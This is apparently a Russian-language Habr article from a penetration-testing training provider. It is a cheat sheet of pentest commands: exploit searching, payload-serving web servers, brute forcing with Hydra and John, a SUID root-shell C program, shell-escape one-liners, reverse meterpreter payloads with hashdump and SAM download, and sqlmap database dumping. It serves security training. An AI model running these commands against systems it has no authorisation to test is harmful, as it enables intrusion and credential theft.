Корпоративные лаборатории — профессиональная подготовка в области практической информационной безопасности

image

Корпоративные лаборатории Pentestit — уникальные по своему формату и содержанию курсы практической ИБ-подготовки, разработанные на основе лучших практик тестирования на проникновение и анализа защищенности, по уровню содержания сравнимые с материалами хакерских конференций. Вне зависимости от программ обучения, их ключевыми особенностями являются актуальный материал и практическая подготовка в пентест-лабораториях, составляющая 80% от общей программы курса. В данной статье мы продолжим разбирать базис команд и полезных трюков при проведении тестирования на проникновение.


Справочник пентестера часть 2


Данный справочник представляет собой список команд, которые могут вам понадобиться при проведении тестирования на проникновение. Данный справочник разработан таким образом, что не предоставляет развернутого описания команд, а лишь приводит рабочие примеры. Для более подробной информации о команде или утилите мы рекомендуем изучить ее man страницу или посетить официальный сайт.


Данный справочник в большей степени затрагивает тестирование сети и инфраструктуры. Тестирование веб-приложений не рассматривается в данном справочнике, за исключением нескольких примеров с sqlmap в конце данного пособия. Первая часть справочника.


Поиск эксплойтов для обнаруженных сервисов


Поиск на exploit-db через searchsploit, в данном примере поиск повышения привилегий для windows 2003:


searchsploit windows 2003 | grep -i local

Использование google для поиска на сайте exploit-db.com:


site:exploit-db.com exploit kernel <= 3

Ищите подходящие модули метасплоит с попощью grep. Стандартный поиск при помощи search в msf работает хуже:


grep -R "W7" /usr/share/metasploit-framework/modules/exploit/windows/*

Установите локальную копию базы exploit-db:


searchsploit –u
 searchsploit apache 2.2
 searchsploit "Linux Kernel"
 searchsploit linux 2.6 | grep -i ubuntu | grep local

Компиляция эксплойтов для Windows в Kali:


wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download
wine mingw-get-setup.exe
select mingw32-base
cd /root/.wine/drive_c/windows
wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip
cd /root/.wine/drive_c/MinGW/bin
wine gcc -o ability.exe /tmp/exploit.c -lwsock32
wine ability.exe  

Компиляция для архитекруты x32 и x64:


gcc -m32 -o output32 hello.c (32 bit)
gcc -m64 -o output hello.c (64 bit)

Запуск простого локального веб-сервера


Полезно использовать для доставки эксплойтов и программ на целевую машину.
Запуск простого http веб-сервера на Python:


python -m SimpleHTTPServer 80

Запуск простого веб-сервера на Python3:


python3 -m http.server

Запуск простого Ruby webrick http сервера:


ruby -rwebrick -e "WEBrick::HTTPServer.new (:Port => 80, :DocumentRoot => Dir.pwd).start"

Запуск простого PHP http сервера:


php -S 0.0.0.0:80

Монтирование файловых ресурсов


Монтирование NFS ресурса в /mnt/nfs:


mount 192.168.1.1:/vol/share /mnt/nfs

Монтирование Windows CIFS / SMB ресурса на Linux в/mnt/cifs Если вы удалите password то о нем спросят в консоли (более безопасный вариант, т.к. не запишется в bash.history):


mount -t cifs -o username=user,password=pass,domain=bla //192.168.1.X/share-name /mnt/cifs

Монтирование Windows ресурса на Windows из командной строки:


net use Z: \\win-server\share password  /user:domain\johndoe /savecred /p:no

Установка smb4k на Kali, полезный Linux GUI для просмотра SMB ресурсов:


apt-get install smb4k -y

Исследование HTTP / HTTPS Веб-серверов


Выполнить nikto сканирование:


nikto -h 192.168.1.1

Конфигурируется через GUI, CLI ввод обычно не работает:


dirbuster

Простой брутфорсер директорий:


dirb http://example.org

Продвинутый брутфорсер директорий и файлов. Поиск файлов с расширением php и js по старнадртному словарю:


dirsearch.py --random-agents -u example.org -e php,js

Анализ сетевых пакетов


tcpdump для порта 80 на интерфейсе eth0, вывод в output.pcap:


tcpdump tcp port 80 -w output.pcap -i eth0

Обнаружение учетных данных


Несколько техник, позволяющих узнать учетные данных от удаленных сервисов.


SMB


Сбор пользователей SMB:


python /usr/share/doc/python-impacket-doc/examples/samrdump.py 192.168.XXX.XXX

RID cycle SMB / сбор пользователей SMB


ridenum.py 192.168.XXX.XXX 500 50000 dict.txt

SNMP


Сбор пользователей SNMP:


snmpwalk public -v1 192.168.X.XXX 1 |grep 11.11.11.11 |cut -d” " -f4
python /usr/share/doc/python-impacket-doc/examples/samrdump.py SNMP 192.168.X.XXX
nmap -sT -p 161 192.168.X.XXX/254 -oG snmp_results.txt

Брутфорс сетевых сервисов


Hydra FTP брутфорс


hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f 192.168.X.XXX ftp -V

Hydra POP3 брутфорс


hydra -L users.txt -P /usr/share/wordlistsnmap.lst 192.168.X.XXX pop3 -V

Hydra SMTP брутфорс


hydra -l user@example.com -P /usr/share/wordlistsnmap.lst 192.168.X.XXX smtp -V

Брутфорс паролей John The Ripper


Взлом хэша со словарем


john --wordlist=/usr/share/wordlists/rockyou.txt hashes

MD5 взлом со словарем


john --format=MD5 --wordlist  /usr/share/wordlists/rockyou.txt hash.txt

DES брутфорс


john --format=DES hash --show

SUID


Часто бывает так, что уязвимый исполняемый файл имеет SUID бит, но внутри самой программы эффективный UID меняется на непривилегированный перед уязвимым вызовом, а нам нужно получить шелл с правами суперпользователя. Для восстановления прав root и получения шелла можно воспользоваться кодом ниже.


SUID Си шелл для /bin/bash:


int main(void){
       setresuid(0, 0, 0);
       system("/bin/bash");
} 

SUID Си шелл для /bin/sh:


int main(void){
       setresuid(0, 0, 0);
       system("/bin/sh");
}

Компиляция SUID Шелл исполняемого файла:


gcc -o suid suid.c

Для 32 бит:


gcc -m32 -o suid suid.c 

TTY шеллы


Примеры создания TTY шеллов из ограниченного шелла в Linux, полезно для запуска команд вроде su из реверс шелла.
Python TTY шелл:


python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')

Получение интерактивного sh шелла:


/bin/sh -i

Получение Perl TTY шелла:


exec "/bin/sh";
perl -e 'exec "/bin/sh";'

Получение Ruby TTY шелла:


exec "/bin/sh"

Получение Lua TTY шелла:


os.execute('/bin/sh')

Получение TTY шелла из Vi:


:!bash

Получение TTY шелла через NMAP (старые версии)


nmap --interactive
!sh

Metasploit/Meterpreter


Windows reverse meterpreter payload с обратным подключением:


set payload windows/meterpreter/reverse_tcp

Windows VNC Meterpreter payload


set payload windows/vncinject/reverse_tcp
set ViewOnly false

Linux Reverse Meterpreter payload с обратным подключением


set payload linux/meterpreter/reverse_tcp

Meterpreter Справочник


Загрузить файл на windows машину через Meterpreter:


upload file c:\\windows

Выгрузить файл с целевой Windows машины через Meterpreter:


download c:\\windows\\repair\\sam /tmp

Выполнить exe файл через Meterpreter — Идеально для выполнения загруженных эксплойтов:


execute -f c:\\windows\temp\exploit.exe

Создание нового канала с cmd шеллом:


execute -f cmd -c

Meterpreter покажет процессы:


ps

Meterpreter получит шелл для текущей сессии:


shell

Meterpreter попытается повысить привилегии в системе:


getsystem

Meterpreter попытается получить хэши пользователей ОС:


hashdump

Meterpreter создает перенаправление порта через целевую машину (pivoting):


portfwd add –l 3389 –p 3389 –r target_host

Meterpreter удаляет перенаправление порта (pivoting):


portfwd delete –l 3389 –p 3389 –r target_host

SQLMap примеры


Автоматический режим:


sqlmap -u http://site --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3

Целевое сканирование:


Sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE  --level=3 --current-user --current-db --passwords --file-read="/var/www/bla.php" 

Просканировать url на union + error based инъекции для mysql и использовать случайный user agent + получить dump базы данных:


sqlmap -u "http://site/bla.php?id=1" --dbms=mysql --tech=U --random-agent --dump

Sqlmap проверка формы на инъекцию:


sqlmap -o -u "http://site/form/" --forms

Sqlmap дамп базы и взлом хэшей для таблицы users базы database-name:


sqlmap -o -u "http://site/vuln-form" --forms -D database-name -T users --dump

Определение типа хешей


Удобнее всего использовать утилиту hash-identifier, но для наглядности представлю несколько типов хешей визуально:
MD5 Hash:


8743b52063cd84097a65d1633f5c74f5

MD5 $PASS:$SALT:


01dfae6e5d4d90d9892622325959afbe:7050461

MD5 $SALT:$PASS:


f0fda58630310a6dd91a7d8f0a4ceda2:4225637426

SHA1 Hash:


b89eaac7e61417341b710b727768294d0e6a277b

SHA1 $PASS:$SALT:


2fc5a684737ce1bf7b3b239df432416e0dd07357:2014

SHA1 $SALT:$PASS:


cac35ec206d868b7d7cb0b55f31d9425b075082b:5363620024

SHA-256:


127e6fbfe24a750e72930c220a8e138275656b8e5d8f48a98c3c92df2caba935

SHA-256 $PASS:$SALT:


c73d08de890479518ed60cf670d17faa26a4a71f995c1dcc978165399401a6c4

SHA-256 $SALT:$PASS:


eb368a2dfd38b405f014118c7d9747fcc97f4f0ee75c05963cd9da6ee65ef498:560407001617

SHA-512:


82a9dda829eb7f8ffe9fbe49e45d47d2dad9664fbb7adf72492e3c81ebd3e29134d9bc12212bf83c6840f10e8246b9db54a4859b7ccd0123d86e5872c1e5082f

SHA-512 $PASS:$SALT:


e5c3ede3e49fb86592fb03f471c35ba13e8d89b8ab65142c9a8fdafb635fa2223c24e5558fd9313e8995019dcbec1fb584146b7bb12685c7765fc8c0d51379fd

SHA-512 $SALT:$PASS:


976b451818634a1e2acba682da3fd6efa72adf8a7a08d7939550c244b237c72c7d42367544e826c0c83fe5c02f97c0373b6b1386cc794bf0d21d2df01bb9c08a

NTLM:


b4b9b02e6f09a9bd760f388b67351e2b

Заключение


Чтобы успешно противостоять злоумышленникам, необходимо хорошо знать методику и инструменты работы, что крайне сложно, учитывая их стремительное развитие. Программа курса обновляется каждый набор, что позволяет давать актуальные и востребованные знания и практические навыки в области информационной безопасности.


Уникальность программы курса в подаче и закреплении материала — 20% теории и 80% практики. Постоянно обновляя методический материал и добавляя практические задания мы стараемся дать наиболее полный объем информации для того чтобы участники курса получили исчерпывающую информацию о современных угрозах и методах противодействия, открыли новые вектора развития в области практической информационной безопасности.


Ознакомиться с программой курса.

Комментарии (0)

© Habrahabr.ru